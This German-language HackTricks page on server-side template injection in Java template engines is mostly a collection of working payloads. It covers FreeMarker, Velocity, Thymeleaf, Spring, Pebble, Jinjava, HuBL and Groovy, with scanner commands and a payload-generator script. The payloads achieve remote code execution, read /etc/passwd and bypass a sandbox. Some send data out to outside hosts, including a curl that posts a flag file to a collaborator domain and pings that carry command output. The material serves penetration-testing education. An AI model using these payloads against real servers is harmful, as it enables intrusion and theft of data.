hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

# SSTI (Server Side Template Injection)

<details>

<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.

</details>

<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com) ist die relevanteste Cybersicherheitsveranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **dem Ziel, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

{% embed url="https://www.rootedcon.com/" %}

## Was ist SSTI (Server-Side Template Injection)

Server-seitige Template-Injection ist eine Sicherheitslücke, die auftritt, wenn ein Angreifer bösartigen Code in ein Template einschleusen kann, das auf dem Server ausgeführt wird. Diese Sicherheitslücke kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.

Jinja ist ein beliebter Template-Engine, der in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen anfälligen Codeausschnitt mit Jinja demonstriert:
```python
output = template.render(name=request.args.get('name'))
```
Im folgenden anfälligen Code wird der `name`-Parameter aus der Anfrage des Benutzers direkt in die Vorlage mit der `render`-Funktion übergeben. Dadurch besteht potenziell die Möglichkeit, dass ein Angreifer bösartigen Code in den `name`-Parameter einschleust, was zu einer serverseitigen Template-Injection führen kann.

Ein Angreifer könnte beispielsweise eine Anfrage mit einem Payload wie diesem erstellen:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Die Payload `{{bad-stuff-here}}` wird in den Parameter `name` eingefügt. Diese Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, nicht autorisierten Code auszuführen oder den Template-Engine zu manipulieren und so möglicherweise die Kontrolle über den Server zu erlangen.

Um Schwachstellen bei der serverseitigen Template-Injektion zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung einer Eingabevalidierung und die Verwendung von kontextbezogenen Escaping-Techniken können dazu beitragen, das Risiko dieser Schwachstelle zu verringern.

### Erkennung
Um Serverseitige Template-Injektion (SSTI) zu erkennen, ist zunächst das **Fuzzing des Templates** ein einfacher Ansatz. Dabei wird eine Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template injiziert und die Unterschiede in der Serverantwort zwischen regulären Daten und dieser speziellen Payload analysiert. Anzeichen für eine Schwachstelle sind:
- Geworfene Fehler, die die Schwachstelle und möglicherweise die Template-Engine offenlegen.
- Fehlen der Payload in der Reflektion oder Teile davon, was darauf hindeutet, dass der Server sie anders als reguläre Daten verarbeitet.

- **Klartext-Kontext**: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z.B. `{{7*7}}`, `${7*7}`).

- **Code-Kontext**: Bestätigung der Schwachstelle durch Ändern von Eingabeparametern. Zum Beispiel das Ändern von `greeting` in `http://vulnerable-website.com/?greeting=data.username`, um zu sehen, ob die Ausgabe des Servers dynamisch oder fest ist, wie z.B. `greeting=data.username}}hello`, das den Benutzernamen zurückgibt.

#### Identifikationsphase
Die Identifizierung der Template-Engine erfolgt durch Analyse von Fehlermeldungen oder manuelles Testen verschiedener sprachspezifischer Payloads. Häufige Payloads, die Fehler verursachen, sind `${7/0}`, `{{7/0}}` und `<%= 7/0 %>`. Durch Beobachtung der Serverantwort auf mathematische Operationen lässt sich die spezifische Template-Engine genau bestimmen.

## Tools

### [TInjA](https://github.com/Hackmanit/TInjA)

ein effizienter SSTI + CSTI-Scanner, der neuartige Polyglots verwendet
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."
```
### [SSTImap](https://github.com/vladko312/sstimap)

SSTImap ist ein Tool, das für die Erkennung und Ausnutzung von Server-seitigen Template-Injection (SSTI) Schwachstellen entwickelt wurde. Es ermöglicht Penetrationstestern und Sicherheitsforschern, SSTI-Schwachstellen in Webanwendungen zu identifizieren und auszunutzen.

#### Funktionalitäten

- **SSTI-Erkennung**: SSTImap kann automatisch nach SSTI-Schwachstellen in einer Webanwendung suchen. Es verwendet verschiedene Techniken, um potenzielle SSTI-Schwachstellen zu identifizieren, einschließlich der Überprüfung von Benutzereingaben und der Analyse von Fehlermeldungen.

- **Exploit-Generierung**: Sobald eine SSTI-Schwachstelle erkannt wurde, kann SSTImap automatisch Exploits generieren, um die Schwachstelle auszunutzen. Es unterstützt verschiedene Template-Engines wie Jinja2, Twig, Smarty und andere.

- **Payload-Injection**: SSTImap ermöglicht es Benutzern, benutzerdefinierte Payloads in die Webanwendung einzufügen, um die SSTI-Schwachstelle zu testen. Dies ermöglicht es, verschiedene Angriffsszenarien zu simulieren und die Auswirkungen der Schwachstelle zu überprüfen.

- **Erweiterte Berichterstattung**: SSTImap generiert detaillierte Berichte über die gefundenen SSTI-Schwachstellen. Diese Berichte enthalten Informationen über die Schwachstelle, den Exploit und mögliche Auswirkungen auf die Webanwendung.

#### Installation

Um SSTImap zu installieren, folgen Sie den Anweisungen im [GitHub-Repository](https://github.com/vladko312/sstimap). Das Tool ist in Python geschrieben und kann auf den meisten Betriebssystemen ausgeführt werden.

#### Verwendung

Nach der Installation können Sie SSTImap mit dem Befehl `sstimap` ausführen. Das Tool bietet verschiedene Optionen und Parameter, um die SSTI-Erkennung und -Ausnutzung anzupassen. Weitere Informationen zur Verwendung finden Sie in der [Dokumentation](https://github.com/vladko312/sstimap/wiki).

#### Hinweis

SSTImap ist ein leistungsstarkes Werkzeug, das nur zu legitimen Zwecken verwendet werden sollte. Das Ausnutzen von SSTI-Schwachstellen ohne Zustimmung des Eigentümers der Webanwendung ist illegal und kann zu rechtlichen Konsequenzen führen. Stellen Sie sicher, dass Sie die erforderlichen Berechtigungen haben, bevor Sie SSTImap verwenden.
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
```
### [Tplmap](https://github.com/epinna/tplmap)

Tplmap ist ein Werkzeug zum Erkennen und Ausnutzen von Server-seitigen Template-Injection-Schwachstellen (SSTI). Es unterstützt verschiedene Template-Engines und ermöglicht es Ihnen, potenziell anfällige Stellen in einer Webanwendung zu identifizieren und auszunutzen.

#### Installation

Sie können Tplmap von [hier](https://github.com/epinna/tplmap) herunterladen und installieren.

#### Verwendung

Um Tplmap zu verwenden, geben Sie den Befehl `tplmap` gefolgt von der Ziel-URL ein. Das Tool wird dann versuchen, SSTI-Schwachstellen in der Webanwendung zu erkennen und auszunutzen.

```bash
tplmap -u <Ziel-URL>
```

#### Beispiel

Hier ist ein Beispiel für die Verwendung von Tplmap:

```bash
tplmap -u http://example.com/page?param={{7*7}}
```

In diesem Beispiel wird Tplmap versuchen, die SSTI-Schwachstelle in der URL `http://example.com/page?param={{7*7}}` zu erkennen und auszunutzen, indem es den Ausdruck `{{7*7}}` als Template-Injection-Payload verwendet.

#### Weitere Informationen

Weitere Informationen zur Verwendung von Tplmap finden Sie in der [offiziellen Dokumentation](https://github.com/epinna/tplmap).
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [Template Injection-Tabelle](https://github.com/Hackmanit/template-injection-table)

eine interaktive Tabelle mit den effizientesten Template-Injection-Polyglots sowie den erwarteten Antworten der 44 wichtigsten Template-Engines.

## Exploits

### Generisch

In dieser **Wortliste** finden Sie **definierte Variablen** in den Umgebungen einiger der unten genannten Engines:

* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)

### Java

**Java - Grundlegende Injection**
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
```
**Java - Abrufen der Umgebungsvariablen des Systems**

In Java können Sie die Umgebungsvariablen des Systems mithilfe der `System.getenv()`-Methode abrufen. Diese Methode gibt ein `Map`-Objekt zurück, das die Namen und Werte der Umgebungsvariablen enthält.

```java
import java.util.Map;

public class EnvironmentVariables {
    public static void main(String[] args) {
        Map<String, String> env = System.getenv();
        for (String key : env.keySet()) {
            String value = env.get(key);
            System.out.println(key + " = " + value);
        }
    }
}
```

Dieses Beispiel zeigt, wie Sie alle Umgebungsvariablen auf der Konsole ausgeben können. Sie können jedoch auch gezielt nach einer bestimmten Umgebungsvariable suchen, indem Sie den entsprechenden Schlüssel verwenden.

Bitte beachten Sie, dass das Abrufen der Umgebungsvariablen des Systems in einigen Umgebungen, insbesondere in Cloud- oder SaaS-Plattformen, eingeschränkt sein kann.
```java
${T(java.lang.System).getenv()}
```
**Java - Abrufen von /etc/passwd**

Serverseitige Template-Injection (SSTI) ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, schädlichen Code in eine Vorlagendatei einzufügen und diesen Code auf dem Server auszuführen. In diesem Beispiel zeigen wir, wie man mit Java den Inhalt der Datei /etc/passwd abrufen kann.

```java
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class SSTIExample {
    public static void main(String[] args) {
        try {
            String command = "cat /etc/passwd";
            Process process = Runtime.getRuntime().exec(command);
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
            reader.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

Dieses Java-Programm verwendet die `Runtime.getRuntime().exec()`-Methode, um den Befehl `cat /etc/passwd` auszuführen und den Inhalt der Datei /etc/passwd abzurufen. Der Inhalt wird dann Zeile für Zeile ausgegeben.

Es ist wichtig zu beachten, dass SSTI eine Sicherheitslücke ist und nicht für illegale Aktivitäten verwendet werden sollte. Es ist wichtig, dass Sie nur autorisierte Systeme und Anwendungen testen und die Zustimmung des Eigentümers haben, bevor Sie solche Techniken anwenden.
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
### FreeMarker (Java)

Sie können Ihre Payloads unter [https://try.freemarker.apache.org](https://try.freemarker.apache.org) ausprobieren.

* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `#{7*7} = 49 -- (legacy)`
* `${7*'7'} Nichts`
* `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - Sandbox-Bypass**

⚠️ Funktioniert nur bei Freemarker-Versionen unter 2.3.30
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
**Weitere Informationen**

* Im FreeMarker-Abschnitt von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)

### Velocity (Java)
```java
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
**Weitere Informationen**

* Im Velocity-Abschnitt von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)

### Thymeleaf

Bei Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck `${7*7}`, der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:

- SpringEL:
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
- OGNL:
```java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```

Thymeleaf erfordert, dass diese Ausdrücke in bestimmten Attributen platziert werden. Allerdings wird _Expression Inlining_ für andere Template-Standorte unterstützt, indem Syntax wie `[[...]]` oder `[(...)]` verwendet wird. Daher könnte ein einfacher SSTI-Test-Payload wie `[[${7*7}]]` aussehen.

Die Wahrscheinlichkeit, dass dieser Payload funktioniert, ist jedoch in der Regel gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Erzeugung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Templates aus Zeichenketten dynamisch zu erstellen, was ungewöhnlich ist.

Thymeleaf bietet auch _Expression Preprocessing_, bei dem Ausdrücke innerhalb von doppelten Unterstrichen (`__...__`) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:
```java
#{selection.__${sel.code}__}
```
**Beispiel für eine Schwachstelle in Thymeleaf**

Betrachten Sie den folgenden Codeausschnitt, der anfällig für Ausnutzung sein könnte:
```xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Dies deutet darauf hin, dass wenn der Template-Engine diese Eingaben unsachgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen kann, indem URLs wie:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**Weitere Informationen**

* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)

{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}

### Spring Framework (Java)

Die Server-seitige Template-Injection (SSTI) ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, schädlichen Code in eine Vorlage einzufügen und auf dem Server auszuführen. Dies kann zu verschiedenen Angriffen führen, wie z.B. der Offenlegung sensibler Informationen oder der Ausführung von Remote-Code.

Das Spring Framework ist ein beliebtes Java-Framework, das die Entwicklung von Webanwendungen erleichtert. Es bietet auch Funktionen für die Vorlagenverarbeitung, einschließlich der Unterstützung für die Ausführung von Ausdrücken in Vorlagen.

Um eine SSTI in einer Spring-Anwendung auszunutzen, müssen Sie die Schwachstellen in der Vorlagenverarbeitung identifizieren und geeigneten schädlichen Code erstellen, der in die Vorlage eingefügt werden kann.

Ein Beispiel für eine SSTI in Spring ist die Verwendung von Expression Language (EL) in Thymeleaf-Vorlagen. EL ermöglicht es Entwicklern, Ausdrücke in Vorlagen zu verwenden, um auf Daten zuzugreifen und diese zu manipulieren. Wenn jedoch unsichere Eingaben in die Vorlage gelangen, kann ein Angreifer schädlichen Code einschleusen und ausführen.

Um eine SSTI in Thymeleaf auszunutzen, können Sie verschiedene Techniken verwenden, wie z.B. das Einfügen von EL-Ausdrücken in Vorlagenvariablen oder das Ausnutzen von Schwachstellen in der EL-Auswertung.

Es ist wichtig, dass Entwickler und Sicherheitsexperten sich der Risiken von SSTI bewusst sind und geeignete Sicherheitsmaßnahmen ergreifen, um diese Schwachstellen zu vermeiden. Dazu gehören das Validieren und Filtern von Benutzereingaben, das Aktualisieren von Frameworks und Bibliotheken auf die neuesten Versionen und das Durchführen von regelmäßigen Sicherheitsüberprüfungen und Penetrationstests.
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**Filter umgehen**

Mehrere Variablenausdrücke können verwendet werden. Wenn `${...}` nicht funktioniert, versuchen Sie es mit `#{...}`, `*{...}`, `@{...}` oder `~{...}`.

* Lese `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
* Benutzerdefiniertes Skript zur Generierung von Payloads
```python
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)
```
**Weitere Informationen**

* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)

### Spring View Manipulation (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
* [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)

{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}

### Pebble (Java)

* `{{ someString.toUPPERCASE() }}`

Alte Version von Pebble ( < Version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
Neue Version von Pebble:
```java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}


{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
### Jinjava (Java)

Jinjava ist eine Java-basierte Template-Engine, die in der Lage ist, Server-seitige Template-Injection (SSTI) anfällige Anwendungen zu manipulieren. Diese Technik ermöglicht es einem Angreifer, schädlichen Code in Vorlagen einzufügen, der dann auf dem Server ausgeführt wird.

#### Erkennen von Jinjava SSTI

Um Jinjava SSTI zu erkennen, können Sie versuchen, spezielle Jinjava-Tags in den Eingabefeldern der Anwendung einzufügen. Wenn die Anwendung den Code interpretiert und das Ergebnis auf der Webseite anzeigt, besteht eine hohe Wahrscheinlichkeit, dass sie anfällig für SSTI ist.

#### Ausnutzen von Jinjava SSTI

Wenn Sie eine anfällige Anwendung gefunden haben, können Sie Jinjava SSTI ausnutzen, um verschiedene Angriffe durchzuführen. Einige Beispiele für mögliche Angriffe sind:

- Lesen von Dateien auf dem Server: Durch Einfügen von Jinjava-Tags können Sie versuchen, auf sensible Dateien auf dem Server zuzugreifen und deren Inhalt zu lesen.
- Ausführen von Befehlen auf dem Server: Sie können Jinjava-Tags verwenden, um Befehle auf dem Server auszuführen und so volle Kontrolle über das System zu erlangen.
- Umgehung von Sicherheitsmechanismen: Durch Manipulation der Vorlagen können Sie versuchen, Sicherheitsmechanismen zu umgehen und auf geschützte Bereiche der Anwendung zuzugreifen.

#### Schutz vor Jinjava SSTI

Um sich vor Jinjava SSTI-Angriffen zu schützen, sollten Entwickler sicherstellen, dass alle Benutzereingaben ordnungsgemäß validiert und bereinigt werden, bevor sie in Vorlagen eingefügt werden. Es ist auch ratsam, die Verwendung von Jinjava oder ähnlichen Template-Engines mit SSTI-Risiken zu vermeiden, wenn sie nicht unbedingt erforderlich sind.
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava ist ein Open-Source-Projekt, das von Hubspot entwickelt wurde und unter [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) verfügbar ist.

**Jinjava - Befehlsausführung**

Behoben durch [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
**Weitere Informationen**

* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)

### Hubspot - HuBL (Java)

* `{% %}` Anweisungstrennzeichen
* `{{ }}` Ausdruckstrennzeichen
* `{# #}` Kommentartrennzeichen
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Suche nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckte das [Jinjava-Projekt auf Github](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
**Weitere Informationen**

* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)

### Expression Language - EL (Java)

* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
* `#{7*7}` - 49
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`

Expression Language (EL) ist eine grundlegende Funktion, die die Interaktion zwischen der Präsentationsebene (wie Webseiten) und der Anwendungslogik (wie verwalteten Beans) in JavaEE erleichtert. Sie wird umfassend in mehreren JavaEE-Technologien eingesetzt, um diese Kommunikation zu optimieren. Zu den wichtigsten JavaEE-Technologien, die EL verwenden, gehören:

- **JavaServer Faces (JSF)**: Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und Aktionen zu verbinden.
- **JavaServer Pages (JSP)**: EL wird in JSP verwendet, um auf Daten in JSP-Seiten zuzugreifen und diese zu manipulieren, um eine einfachere Verbindung von Seitenelementen mit den Anwendungsdaten zu ermöglichen.
- **Contexts and Dependency Injection for Java EE (CDI)**: EL integriert sich in CDI, um eine nahtlose Interaktion zwischen der Web-Ebene und verwalteten Beans zu ermöglichen und so eine kohärentere Anwendungsstruktur zu gewährleisten.

Weitere Informationen zur **Ausnutzung von EL-Interpretern** finden Sie auf der folgenden Seite:

{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}

### Groovy (Java)

Die folgenden Umgehungen des Security Managers wurden aus diesem [**Bericht**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) entnommen.
```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
